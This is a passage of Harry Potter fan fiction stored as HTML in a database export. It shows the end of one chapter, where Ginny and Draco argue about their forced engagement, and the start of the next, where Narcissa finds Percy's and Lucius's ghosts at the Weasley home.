about.&#8221;</p>\n\n<p></p>\n\n<p> Ginny pulled him back to her so she could see his face. &#8220;I rather think there is.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Go away.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;No,&#8221; she stated firmly. &#8220;We <i>will</i> talk about this, Draco. So either you can get off your lazy arse and we&#8217;ll go to the common room, or I&#8217;ll start right here in front of your dorm mates and air all our dirty laundry.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Stupid cow,&#8221; he hissed. &#8220;You wouldn&#8217;t dare.</p>\n\n<p></p>\n\n<p> Ginny lifted an eyebrow, feeling more in control of her emotions than she had for quite some time. Anger was a remarkable restorative, it seemed. &#8220;Try me.&#8221;</p>\n\n<p></p>\n\n<p>Draco&#8217;s gaze locked with hers for a moment before he sighed in exasperation and sat up. &#8220;Hand me my slippers.&#8221;</p>\n\n<p></p>\n\n<p> Her eyes flicked down to where his wool-lined slippers were peeking out from under the bed. The urge to just grab them and slide them over his feet was overwhelming, but Hermione&#8217;s shrill voice, which had recently become her conscience, kept playing over in her head: &#8216;<i>Servant&#8212;servant&#8212;you&#8217;re nothing but a servant to Draco Malfoy. He doesn&#8217;t appreciate any of the small gestures you make out of love! He <b>can&#8217;t</b> love, remember?&#8217;</i></p><i>\n\n<p></p>\n\n</i><p><i>\n\n</i>&#8220;Get them yourself, Draco,&#8221; Ginny said flippantly. &#8220;I&#8217;ll be in the common room.&#8221; She stood and left his dormitory, walking up the dark stairs to the deserted Slytherin common room. Or at least it should have been deserted.</p>\n\n<p></p>\n\n<p> Pansy Parkinson&#8217;s eyes widened and swept over Ginny before narrowing in hatred. &#8220;<i>Weasley</i>,&#8221; she spat. &#8220;Why are you in my common room?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Actually, Pansy, this room is for all of Slytherin; not just you,&#8221; Draco said mildly from behind Ginny. She turned to look at him. He stood tall and regal in his green silk dressing gown, the embroidered snake curled over his left breast pocket adding a touch of menace to his wardrobe. But it also made Ginny keenly aware of the faded pyjama bottoms and old T-shirt she&#8217;d inherited from George under her tattered dressing gown. </p>\n\n<p></p>\n\n<p> Pansy pointed at her. &#8220;<i>She&#8217;s</i> not a Slytherin.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Thank Merlin,&#8221; Ginny muttered under her breath.</p>\n\n<p></p>\n\n<p> Draco was almost grinning, cruel amusement lit his eyes from within. &#8220;No, she&#8217;s not. But she <i>is</i> the future Mrs Malfoy, so show the proper respect.&#8221;</p>\n\n<p></p>\n\n<p> Ginny and Pansy both gawped at him. But whilst Ginny&#8217;s mind was spinning in confusion bourn from his open admission of their engagement, Pansy spluttered incoherently at the news itself.</p>\n\n<p></p>\n\n<p> &#8220;How&#8212;what&#8212;but you couldn&#8217;t <i>possibly</i>&#8212;a <i>Weasley,</i> Draco!&#8221;</p>\n\n<p></p>\n\n<p> Here Ginny smirked and glanced at Draco from the corner of her eye. He likely didn&#8217;t know what <i>she </i>knew about Miss Perfect Slytherin. &#8220;Oh don&#8217;t get your knickers in a twist, Parkinson.&#8221; Ginny tapped a finger on the side of her cheek in mock-thought. &#8220;But wait a moment! I do believe that&#8217;s my brother&#8217;s job, isn&#8217;t it?&#8221;</p>\n\n<p></p>\n\n<p> Pansy&#8217;s face drained of colour, and Draco lifted an inquiring eyebrow. &#8220;<i>Really</i> now? You&#8217;ve been shagging the new saviour of the wizarding world? Mighty defeater of He-Who-Must-Not-Be-Named?&#8221; he taunted. &#8220;What <i>is</i> the world coming to these days?&#8221; Draco whispered sibilantly.</p>\n\n<p></p>\n\n<p> Pansy&#8217;s hands fisted at her side and the flesh of her jaw trembled. &#8220;I didn&#8217;t sh-shag him.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;You did do,&#8221; Ginny said viciously. Perhaps if she were cruel enough, the Slytherin bitch would go away. &#8220;Or at least you want to, don&#8217;t you?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;No!&#8221; Pansy gasped. Her fingers twisted deeply into her perfectly tamed curls, mussing the pale, blonde hair into a rat&#8217;s nest. She squeezed her eyes shut. &#8220;I&#8217;ll never<font face="Symbol">&#190;</font> I&#8217;m not like Malfoy. I don&#8217;t associate with Gryffindors or Weasleys!&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Go tell someone who&#8217;ll believe you, Parkinson.&#8221; Ginny said dismissively. She flopped into a chair and put her feet up, letting them dangle over the arm. If that wouldn&#8217;t make her go away&#8212;</p>\n\n<p></p>\n\n<p> Pansy sobbed and covered her face with her hands. Ginny felt a twinge of guilt, but it evaporated as soon as she remembered what Ron had reluctantly admitted earlier: that Pansy had tried to kill him. </p>\n\n<p></p>\n\n<p> Several times.</p>\n\n<p></p>\n\n<p> &#8220;Good-night, Pansy,&#8221; Draco said. He shooed her toward the stairs. &#8220;Out like the obedient little slag you are.&#8221;</p>\n\n<p></p>\n\n<p> She took off running down the stairs toward what Ginny assumed must be the girl&#8217;s dormitories, tears streaming down her ugly face. Once Pansy was surely gone, Draco studied Ginny from across the room.</p>\n\n<p></p>\n\n<p> &#8220;That was uncharacteristically malicious of you,&#8221; he commented finally. </p>\n\n<p></p>\n\n<p> Ginny shrugged. &#8220;She tried to kill Ron. You can&#8217;t expect me to trade hair charming secrets after that, can you?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Suppose not.&#8221; Draco settled into the chair beside her and pointed his wand at the embers in the hearth, making them roar to emerald life with a short incantation. &#8220;Now, why did you feel it necessary to drag me out of bed at this ungodly hour?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Just to talk.&#8221;</p>\n\n<p></p>\n\n<p> He scoffed. &#8220;If that&#8217;s all you wanted, I&#8217;m going back to sleep.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;You weren&#8217;t asleep before.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I was close to,&#8221; he grumbled. The green light from the fireplace reflected on his skin, giving it an unhealthy, malarial sheen. &#8220;Let&#8217;s get on, then.&#8221;</p>\n\n<p></p>\n\n<p> Ginny turned her head away from him and absently picked at her fingernails. &#8220;Why did you agree to it, Draco?&#8221; </p>\n\n<p></p>\n\n<p> When she glanced at him again, his eyes were closed and the back of his head was flush with his chair. &#8220;Is that all you want to know?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Not all.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Mmmn,&#8221; he grunted. &#8220;I suppose you could say that I subscribe to the &#8216;better the Kneazle you know&#8217; theory. That Rosier girl . . . well, she could be completely unsuitable to my needs. If Mother is any indication, she probably is that.&#8221;</p>\n\n<p></p>\n\n<p> Ginny&#8217;s heart shuttered. He admitted it so coldly . . . &#8220;So you only chose me because you know me?&#8221;</p>\n\n<p></p>\n\n<p> The pupil of his eye turned toward her from under a cracked lid. &#8220;Not only. My mother and yours were breathing down my neck as well, and of course there are those&#8212;&#8221; He waved his hand in the general direction of her stomach. &#8220;You know.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;They&#8217;re babies, Draco.&#8221; Ginny sighed and rested her cheek against the side of her wingback chair. &#8220;They&#8217;re <i>our</i> babies.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Well, you had best thank Professor Snape next time you see him. I would have doubted their paternity if I hadn&#8216;t seen them for myself.&#8221;</p>\n\n<p></p>\n\n<p> Ginny sat up quickly, stung. &#8220;You know that you were my only lover, Draco! How could you say that?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I don&#8217;t know anything about your life outside of my bed,&#8221; he said in a soft, ominous whisper. &#8220;For all I <i>know</i>, you could have been shagging Creevey, too. You certainly weren&#8217;t a virgin when <i>I</i> first had you.&#8221;</p>\n\n<p></p>\n\n<p> She bit her lip. &#8220;Colin and I were together a long time ago. We were each other&#8217;s first. Then he discovered certain&#8212;&#8221; Ginny dashed a look at Draco, remembering his aversion to all things homosexual since his discovery about Lucius and Percy. &#8220;Things about himself and we parted as friends. That&#8217;s all we are, and all we&#8217;ll ever be.&#8221;</p>\n\n<p></p>\n\n<p> Draco was perusing her from under his lashes, his eyes glinting spitefully. &#8220;Little Colin Creevey . . . His own brother won&#8217;t talk to him now, from what I hear. At least not at school.&#8221;</p>\n\n<p></p>\n\n<p> Ginny curled her hands into fists on her lap. &#8220;Dennis is a slimy little bastard and he only treats Colin that way because <i>our </i>society doesn&#8217;t accept his romantic preferences.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Would you prefer to live as a Muggle?&#8221; Draco asked derisively.</p>\n\n<p></p>\n\n<p> &#8220;Yes, I believe I would.&#8221; Ginny lifted her chin high and met his eye with a challenge in what she hoped was a steady gaze. &#8220;I would gladly give up my magic if it meant I actually had a choice in how to live my life.&#8221;</p>\n\n<p></p>\n\n<p> Draco gave a short bark of unpleasant laughter. &#8220;You have no idea what you&#8217;re talking about. We <i>have</i> a choice, Ginny. But are you prepared to accept the consequences for both us and our&#8212;&#8221; He paused and glanced at her belly. &#8220;Our children, if we don&#8217;t give in to what they want from us?&#8221;</p>\n\n<p></p>\n\n<p> Ginny looked down and let her fingers slide over the barely noticeable bump under her dressing gown. Even though the thought that something was <i>alive</i> inside of there had yet to register, Ginny still felt a wave of protective fear wash over her. She shivered and clutched at her stomach. &#8220;I suppose not.&#8221; Her eyes shifted back to him. &#8220;Why are you being so mild tonight, Draco? You&#8217;ve hardly been your usual arsing self.&#8221;</p>\n\n<p></p>\n\n<p> He didn&#8217;t reply immediately, but instead traced a pattern with his finger over the rich embroidery on his dressing gown. Draco&#8217;s voice was soft with a hidden edge when he finally spoke. &#8220;I suppose that it would be best if I didn&#8217;t antagonise you any more than necessary if we&#8217;re going to be married soon.&#8221; </p>\n\n<p></p>\n\n<p> His winter-hard eyes found her face in the stillness after he&#8216;d spoken. Ginny fancied that if she wiped the rime of frost from them that she&#8217;d find globes full of swirling snow and deep, dangerous eddies. </p>\n\n<p></p>\n\n<p> &#8220;I don&#8217;t know about you, but I don&#8217;t relish living the rest of my life in fear of flying crockery.&#8221;</p>\n\n<p></p>\n\n<p> The break in silence and tension made Ginny&#8217;s hand jerk, but she chuckled nervously to avoid that mad, contemplative quiet again. &#8220;I don&#8217;t throw things. They&#8217;re still in my hand when I hit you with them.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Mmmn. True.&#8221; Draco nodded thoughtfully, taking her mild amusement and sucking it back into the dark vortex of his strangely unemotional state with all the ease of swatting a fly. &#8220;But we should at least make an effort to be civil.&#8221;</p>\n\n<p></p>\n\n<p> Ginny murmured her disagreement. &#8220;It won&#8217;t be nearly as much fun that way, you know.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Our marriage isn&#8217;t about fun. It&#8217;s about keeping up appearances and living - respectably - below the notice of the press.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Sounds lovely,&#8221; she muttered sarcastically. </p>\n\n<p></p>\n\n<p> They were both silent for a long time, Ginny absorbed in thoughts of the future. She still couldn&#8217;t make herself believe that there were two incredibly tiny bodies growing within her own. Objectively, she knew it was true, but on the inside, it hadn&#8217;t become <i>truth</i>. Ginny was aware of the fact that her belly would swell and everything else that came along with her condition. But she didn&#8217;t know if she could ever bring herself to believe it until she saw their delicate limbs with her own eyes.</p>\n\n<p></p>\n\n<p> This only fuelled her resentment at being forced into marriage.</p>\n\n<p></p>\n\n<p> Carefully, Ginny reached out and touched the back of his hand. &#8220;Draco.&#8221;</p>\n\n<p></p>\n\n<p> He raised an eyebrow in response.</p>\n\n<p></p>\n\n<p> &#8220;Do you want to feel them?&#8221; she asked in a quiet voice that was very unlike her own.</p>\n\n<p></p>\n\n<p> &#8220;Why? They&#8217;re too small to feel.&#8221;</p>\n\n<p></p>\n\n<p> Ginny studied his blank, hooded eyes for a moment before tugging his fingers toward her. &#8220;There&#8217;s a knot, though. Madame Pomfrey showed me where to look. Maybe if you can feel it, too, then I know I&#8217;m not mad.&#8221;</p>\n\n<p></p>\n\n<p> She let go of his hand and it glided in the air above her belly for a brief time, as if it had a brain of its own to decide with. Finally he snatched it back and stood up.</p>\n\n<p></p>\n\n<p> &#8220;Enough of this,&#8221; Draco said harshly, the thin glass of his diffidence suddenly shattering and allowing Ginny to <i>see </i>the rage he&#8216;d kept hidden so far that night. &#8220;I&#8217;m not interested in those two <i>things</i>! I don&#8217;t want to feel that soft belly of yours grow hard because of their greedy little bodies.&#8221;</p>\n\n<p></p>\n\n<p> Ginny gaped up at him, her mouth slightly open due to sudden revelation. &#8220;You&#8217;re jealous,&#8221; she whispered.</p>\n\n<p></p>\n\n<p> He scowled. &#8220;Never. I&#8217;m angry because&#8212;because&#8212;&#8221; His face broke as he floundered and Ginny felt a smirk creeping over her lips.</p>\n\n<p></p>\n\n<p> Draco reached down and dug his fingers painfully hard into her upper arms. Ginny winced, but didn&#8217;t say anything. &#8220;You&#8217;re <i>mine</i>, Ginny Weasley. Perhaps not yet in deed, but you still belong to me. And I see those beasts as encroachers on my property. Nothing more.&#8221;</p>\n\n<p></p>\n\n<p> Ginny laughed in his face and pulled away. &#8220;Aww, is ickle Dwaco going to miss his favouwite pillow?&#8221; she teased. &#8220;Dwaco&#8217;s a bit jwealous, isn&#8217;t he?&#8221;</p>\n\n<p></p>\n\n<p> He leant forward with a snarl. &#8220;Don&#8217;t mock me, you daft bitch!&#8221;</p>\n\n<p></p>\n\n<p> She forced her body to relax, her eyes to remain calm and unperturbed. &#8220;What are you going to do?&#8221;</p>\n\n<p></p>\n\n<p> Draco stepped back and raked his hands through his hair. &#8220;Bitch,&#8221; he said again.</p>\n\n<p></p>\n\n<p> Ginny pretended to look at a watch. &#8220;Twice within three seconds.&#8221; She met his eye. &#8220;You&#8217;re slipping. You could hardly call that original, or worthy of the <i>great</i> Draco Malfoy.&#8221;</p>\n\n<p></p>\n\n<p> He turned his back to her and stiffly made his way down the stairs to his dormitory. Ginny sat up a while longer in the Slytherin common room, though, turning over in her mind all the possibilities that life with Draco Malfoy would bring. She eventually concluded that she could have done worse, but not by much.</p></font>\n\n</blockquote>\n\n '),
	(271, 31, ' <blockquote>\n\n<font face="Palatino Linotype"><p>Authour&#8217;s Notes: I am terribly sorry that this took so long to get out. But this chapter is a good size, about 20 pages, so hopefully this will keep everyone happy until chapter 31. I&#8217;m happy to report that I&#8217;ve begun writing chapter 34, and I estimate that there will be a total of 40 chapters. I still need to re-write my outlines, but everything is in my head so it&#8217;s not a huge deal, really. Just me being disorganised. :P</p>\n\n<p></p>\n\n<p> There are loads and loads of interesting revelations in this chapter, character and plot-wise. And no, there&#8217;s no direct D/G action in this chapter, but the next should well make up for it. As I&#8217;ve probably stated, I never claimed this to be strictly a D/G story. This is a general story with romance/smutty sidelines. Everyone gets a voice (eventually) so please don&#8217;t get upset that Harry, Hermione, or Narcissa get a turn. Or even the <i>plot.</i>\n\n</p>\n\n<p></p>\n\n<p> And just to let you know: <b>if you didn&#8217;t read chapter 27, you&#8217;ll be lost. I suggest reading that before this chapter.</b></p><b>\n\n</b><p></p>\n\n<p> Everyone have fun and I&#8217;ll update again as soon as possible.</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<i>I have learnt silence from the talkative, toleration from the intolerant, and kindness from the unkind; yet strange, I am ungrateful to these teachers.</i> ~ Kalil Gibran <p></p>\n\n<p></p>\n\n</font><b><font face="Palatino Linotype" color="#ff0000"><p></p>\n\n</font></b><font face="Palatino Linotype" color="#ff0000"></font><p><font face="Palatino Linotype" color="#ff0000"><b>\n\n</b></font><font face="Palatino Linotype"> Narcissa Apparated just outside the hedgerows surrounding a large, ramshackle house. It looked like several gigantic parcels had been carelessly piled, one on top of the other, to the sky.</font></p><font face="Palatino Linotype">\n\n<p></p>\n\n<p> How revolting.</p>\n\n<p></p>\n\n<p> She smoothed down her robes and stepped lightly on the winding path leading to the front door. Before she went too far though, a man stepped out from behind a hedge and held up his hand.</p>\n\n<p></p>\n\n<p> &#8220;You can&#8217;t go any further. This is a private home so unless you have an appointment . . .&#8221;</p>\n\n<p></p>\n\n<p> Narcissa drew herself up. &#8220;As it happens, I <i>do</i> have an appointment. Mrs Weasley has invited me for tea.&#8221;</p>\n\n<p></p>\n\n<p> The man raised a sceptical eyebrow at her. &#8220;Aren&#8217;t you Narcissa Malfoy? I saw a picture of you in the <i>Daily Prophet</i> when your husband died.&#8221;</p>\n\n<p></p>\n\n<p> Her lips tightened. &#8220;Yes, I <i>am</i> Narcissa Malfoy, and I suggest that you move before I&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;It&#8217;s quite all right!&#8221; a voice puffed from behind the man. &#8220;You can let her through. I&#8217;ve been expecting her.&#8221;</p>\n\n<p></p>\n\n<p> He turned and smiled when he saw Molly Weasley. &#8220;Are you sure, Mrs Weasley? I mean, she <i>is</i>&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;She&#8217;s safe as houses, Dimsley.&#8221; Molly blushed. &#8220;Here you are, dear; I made you a tea tray. I know that it&#8217;s terrible weather out today, so I thought you could use some warmth.&#8221; She handed a small tray loaded with cake, sandwiches, and tea over to the guard. &#8220;Now there&#8217;s enough to share with Miss Adams over there.&#8221; Molly glanced slyly down the hedgerow to where a female Auror was patrolling. &#8220;So make sure she gets some as well.&#8221; </p>\n\n<p></p>\n\n<p> She winked at Dimsley and he flushed to the roots of his dark hair. &#8220;Of course, Mrs Weasley. I&#8217;ll see that she has some of your famous&#8212;uh, ahem, rum cake here.&#8221;</p>\n\n<p></p>\n\n<p> Molly patted him on the back. &#8220;Good, good. Run along now.&#8221;</p>\n\n<p></p>\n\n<p> The man trotted off obediently, still smiling. Narcissa took this opportunity to thoroughly study her future relation. Well, she amended, a <i>closer</i> relation. Narcissa almost shuddered at the very thought, but knew that she had little choice. Molly Weasley was short and over-plump with greying auburn hair that was piled on the back of her head haphazardly with a wand poking out of the mass. Narcissa briefly wondered whether her future daughter-in-law would look like this when she was her mother&#8217;s age and made a note to mention the matter to her son, just so he could see what sort of mess he had made for himself. </p>\n\n<p></p>\n\n<p> After the wedding, of course.</p>\n\n<p></p>\n\n<p> &#8220;Come in, Narcissa.&#8221; Molly waved her hand toward the house and shooed her along. &#8220;Come in. I&#8217;ve just made some tea and we can have a spot while we iron out the details of the wedding contract.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa smiled frigidly and allowed herself to be herded, rather like a cow, she thought, into a large kitchen. She&#8217;d never been in a kitchen before, except once when she was a very small girl. It was not an experience she wished to repeat, but new situations called for adaptability, so Narcissa kept her comments to herself.</p>\n\n<p></p>\n\n<p> In the hearth, a small kettle was boiling over. The smoky-sweet smell of burnt tea was thick in the air. Mrs Weasley bustled over and lifted it from the fire before pouring some in an earthenware mug.</p>\n\n<p></p>\n\n<p> &#8220;Your tea&#8217;s ready, dear!&#8221; she shouted up the stairs. Molly noticed Narcissa staring and smiled. &#8220;Oh not to worry. This isn&#8217;t for us. My son prefers it this way. I have to burn it for him or he can&#8217;t taste it. So he says, anyway.&#8221; She pulled out two chairs from a large, rough-hewn table covered with tiny doilies. &#8220;You can sit here, if you&#8217;d like, and I&#8217;ll get our tea tray and some parchment.&#8221;</p>\n\n<p></p>\n\n<p> Molly laid a tea towel down on the other chair and bustled off just as Narcissa was sitting down. She sighed and wondered when exactly her life had become so complicated that she was forced to consort with people like the Weasleys. Then she looked next to her and every thought oozed out her ears.</p>\n\n<p></p>\n\n<p> &#8220;Good lord, Narcissa! What the devil are <i>you</i> doing here?&#8221; Percy said as he floated down into the seat beside her.</p>\n\n<p></p>\n\n<p> &#8220;I-I&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh, Narcissa!&#8221; Molly said as she came back into the room with several scrolls of parchment in hand. &#8220;I forgot to tell you about my son, Percy. I don&#8217;t think&#8212;&#8221; </p>\n\n<p></p>\n\n<p> &#8220;We&#8217;ve met, Mum,&#8221; Percy said, taking a sip from his mug. </p>\n\n<p></p>\n\n<p> Narcissa noted, horrified, that the tea wasn&#8217;t actually suspended, but fell to the seat below to be absorbed by the tea towel. It wasn&#8217;t as if she had never seen a ghost, but this particular one took her by surprise. And she&#8217;d never seen one attempt to eat before.</p>\n\n<p></p>\n\n<p> &#8220;Narcissa and I were actually quite good friends at one time, weren&#8217;t we?&#8221; Percy said.</p>\n\n<p></p>\n\n<p> His figure was hazy and iridescent white, a muted flicker of his former self. Narcissa felt her knees shaking and struggled to keep them from jarring his chair. She wondered if he would feel it if she did.</p>\n\n<p></p>\n\n<p>&#8220;Yes,&#8221; Narcissa managed to whisper. &#8220;Good mates.&#8221;</p>\n\n<p></p>\n\n<p> Percy smiled and leaned closer to her, the light not reflecting on his glasses as they used to do when the two of them put their heads together and whispered conspiratorially about clothes and hair potions. &#8220;I&#8217;ve missed you, Narcissa.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa wanted to smile, but her face was still frozen in shock. <i>I&#8217;ve missed you, as well, </i>she could have said if her throat wasn&#8217;t so constricted.<i>\n\n</i>Narcissa started when Molly plopped a cup of tea in front of her. </p>\n\n<p></p>\n\n<p> &#8220;Here&#8217;s the cream, and the sugar is right there.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa inattentively stirred several spoonfuls of sugar into her tea. The fact that Molly Weasley should have made up her tea as was proper not registering because she was still staring at Percy. He grinned at her and took another sip from his crude mug. The earthenware didn&#8217;t look right sitting in his shimmering, ghostly hands. Percy had always insisted on using the finest china when he was staying in her home. Then, there was nothing <i>but</i> the finest china at Malfoy Manor.</p>\n\n<p></p>\n\n<p> &#8220;I didn&#8217;t think you&#8217;d be so shocked,&#8221; Molly was saying. &#8220;I had no idea that you knew our Percy before&#8212;&#8221; She cleared her throat. &#8220;Well, <i>before</i>.&#8221;</p>\n\n<p></p>\n\n<p> Percy spoke up quickly, likely in some attempt to circumvent that line of thought. &#8220;How are those Red Caps coming along, Mum? Have you managed to oust them yet?&#8221;</p>\n\n<p></p>\n\n<p> Molly glanced to the floor behind her. &#8220;They&#8217;re almost gone. I suspect that they&#8217;ll disappear soon enough.&#8221;</p>\n\n<p></p>\n\n<p> He nodded. &#8220;Good, good.&#8221; Percy turned back to Narcissa. &#8220;So what <i>are</i> you doing here, anyway? Not that I don&#8217;t appreciate you stopping by, mind, but . . . well, it is a bit odd, isn&#8217;t it?&#8221;</p>\n\n<p></p>\n\n<p> Molly cleared her throat again and fidgeted uncomfortably. &#8220;I really should have told you last night when your father and I came home. But I was so distraught and I didn&#8217;t think Arthur needed another shock so soon after the one we&#8217;d just had.&#8221; She sighed. &#8220;It seems Narcissa is going to be part of the family soon.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa flinched and hurriedly gulped down some of her tea, not caring for once that it slopped over the sides of her cup. &#8220;Yes. My son is marrying your sister,&#8221; she choked out.</p>\n\n<p></p>\n\n<p>Percy gasped. &#8220;But I thought that he was already contracted to one of your cousins.&#8221;</p>\n\n<p></p>\n\n<p> She shook her head. &#8220;The contract was broken when he compromised the girl.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Compromised! Oh my God.&#8221; Percy&#8217;s pale, transparent face looked shattered. &#8220;Poor Ginny. I had hoped . . . Merlin&#8217;s teeth!&#8221; he swore.</p>\n\n<p></p>\n\n<p> &#8220;Now, now, Percy,&#8221; Molly tutted, &#8220;No need for language.&#8221; She rose from the table. &#8220;I&#8217;ll go and get my mother&#8217;s wedding contract to use as a guide, shall I? And our lineage, of course.&#8221; Molly almost sneered here, if Weasleys were capable of it at all, it would have been. Then again, Molly Weasley was half Black, too, and Merlin knew that they could sneer; Narcissa considered herself a prime example.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;ve already seen Draco&#8217;s pedigree,&#8221; Molly was saying snidely when Narcissa tuned back to the conversation. &#8220;So I don&#8217;t think we&#8217;ll need a copy of <i>that</i>.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa&#8217;s lips thinned and she glared at the woman&#8217;s back as she ascended the stairs. She had always been fond of great-aunt Eliza, but unfortunately, none of the things Narcissa liked about her had been passed on to her daughter. Molly Weasley certainly didn&#8217;t get that garish hair from the <i>Blacks. </i>It was almost as bad as Andromeda&#8217;s daughter&#8217;s hair after she&#8217;d visited that Muggle music conservatory.</p>\n\n<p></p>\n\n<p> She felt Percy&#8217;s tentative touch on the back of her hand, which drew her away from family prejudices. It was like ice and she shivered, so he pulled it away.</p>\n\n<p></p>\n\n<p> &#8220;Sorry. I forgot about that.&#8221; He leaned toward her. It seemed like he wanted to touch her again, but he didn&#8216;t. Narcissa noted that she couldn&#8216;t feel his breath against her face when he spoke. &#8220;Don&#8217;t let Mum bother you. She always means well, even if&#8212;&#8221; A blood-curdling scream rent the air above them. &#8220;Oh no!&#8221; Percy said, floating out of his chair. &#8220;She must have gone into the attic. He&#8217;s been hiding up there, you see, and&#8212;I need to go check if he&#8217;s done any harm. Blast him!&#8221;</p>\n\n<p></p>\n\n<p> Narcissa watched Percy rise up through the ceiling and lifted an eyebrow. She shrugged and sipped at her tea. Perhaps the mad bat had fallen and broken something; preferably, her neck. Narcissa frowned. She had never been a violent person and she wondered where the thought came from. Then she remembered where she was currently sitting - and why - and she wondered no more. </p>\n\n<p></p>\n\n<p> Even she had her limits.</p>\n\n<p></p>\n\n<p> After a time, Percy brought his mother down the stairs. She was shaking, almost as pale and white as her son, but still furious. &#8220;How could you not tell me that <i>he</i> is in my home? I don&#8217;t care if he stays in that attic for the rest of his&#8212;well, <i>un</i>life! I want him gone, gone, <i>gone</i>!&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But, Mum we can&#8217;t leave! Neither of us can. You know that,&#8221; Percy said, his voice raising an octave or two. One of the things Narcissa had always found comforting about Percy Weasley was his voice. It was at all times gentle and soothing, even when raised; never grating, like his mother&#8217;s.</p>\n\n<p></p>\n\n<p> &#8220;I will <i>not</i> have Lucius Malfoy in my house!&#8221; Molly shrieked. &#8220;I don&#8217;t care what you have to do! Make him leave or I&#8217;ll call in a Banisher.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa&#8217;s leg lurched under the table and hit the wood sharply. She sucked in a breath and rose partially from her chair. &#8220;Lucius?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yes,&#8221; Mrs Weasley said tartly. &#8220;Your husband&#8217;s ghost is up in my attic. And, from what Percy says, has been there since <i>before </i>he came back a couple of weeks ago.&#8221; She pursed her lips. &#8220;He <i>killed</i> you, Percy! I don&#8217;t want the murdering ghost of <i>that</i> man in my home. Your father doesn&#8217;t even know that <i>you&#8217;re</i> home yet and <i>what</i> he&#8217;ll say when he finds out that Lucius Malfoy is in our attic . . .&#8221;</p>\n\n<p></p>\n\n<p> Narcissa wobbled and felt a faint coming on. &#8220;Oh God,&#8221; she moaned. Percy glided forward and helped her back to her seat.</p>\n\n<p></p>\n\n<p> &#8220;Don&#8217;t go to pieces now, Narcissa. You&#8217;ll be all right.&#8221; He called over his shoulder: &#8220;Mum, could you bring her some smelling salts? She doesn&#8217;t like Pepper-Up very much.&#8221;</p>\n\n<p></p>\n\n<p> Molly rushed to her potion&#8217;s chest, eager for something constructive to do. &#8220;Yes, yes. Oh let&#8217;s see here &#8211; don&#8217;t faint yet, Narcissa!&#8221; She rambled through the drawers. &#8220;Smelling salts, smelling salts . . . I&#8217;m horrible to be speaking about her husband that way, even if it is . . . Here they are!&#8221;</p>\n\n<p></p>\n\n<p> She hopped over to where Percy was supporting Narcissa with his icy hands and unstopped the cork of smelling salts directly under her nose. &#8220;Take a good whiff of this, dear, and you&#8217;ll come right around.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa inhaled obligingly and the noxious fumes did manage to clear her head a little. She felt Percy release her shoulders, and Molly stepped back once she saw that Narcissa wasn&#8217;t going to faint.</p>\n\n<p></p>\n\n<p> Draco&#8217;s face kept swimming through her mind, and seeing Percy beside her only compounded the sudden white-hot rage that was flowing through her.</p>\n\n<p></p>\n\n<p> &#8220;I need to speak with him,&#8221; Narcissa said firmly. She stood up and shakily made her way toward the stairs. &#8220;If you&#8217;d be so kind as to show me, Percy?&#8221;</p>\n\n<p></p>\n\n<p> He hesitated and glanced at his mother. &#8220;I don&#8217;t think you should, Narcissa. He&#8217;s really&#8212;&#8221; Percy lowered his voice to a confiding level. &#8220;Well, he&#8217;s really quite mad now, I think. I suppose being bound to this house has sent him around the turn.&#8221; Narcissa lifted her head to gaze at him piercingly and Percy shrugged. &#8220;Fine, fine. I&#8217;ll show you up.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa followed Percy up the stairs to the third attic. It was at the very top of the house, and she was getting woozy from the height and climbing all those stairs. He opened a trapdoor and pulled down a rope ladder. </p>\n\n<p></p>\n\n<p> She looked at it scathingly, but still put one foot on, looped the long hems of her robes over her arm, and climbed into the room above. It was stuffy, smelling strong of dust and mould. Percy stayed by her side, hovering protectively. Narcissa peered into the darkness and called out: &#8220;Lucius? Are you here?&#8221;</p>\n\n<p></p>\n\n<p> His sudden appearance made the room light up and she stepped back. </p>\n\n<p></p>\n\n<p> &#8220;Lucius.&#8221;</p>\n\n<p></p>\n\n<p> The silver form of a ghost suited him as much as it disfavoured Percy. He, like Percy, still wore the blood-stained black robes of a Death Eater, but they seemed to fit him more. His eyes and hair were, not surprisingly, much the same colour they were in life. It vaguely reminded her of when Lucius was young and first courting her parents for her hand; the bright and gleaming prince riding up the front drive in his elegant carriage and immaculate robes with a glittering smile.</p>\n\n<p></p>\n\n<p> &#8220;Ah, Narcissa,&#8221; he sighed wearily. &#8220;Have you come to take me home?&#8221;</p>\n\n<p></p>\n\n<p> She gazed at him dispassionately. Many years of close association with him had tarnished the Sickle-shine of Lucius&#8217; presence in her eyes. &#8220;No. You must stay here.&#8221;</p>\n\n<p></p>\n\n<p> He frowned and started pacing an inch above the floor. &#8220;I don&#8217;t like it here,&#8221; Lucius said 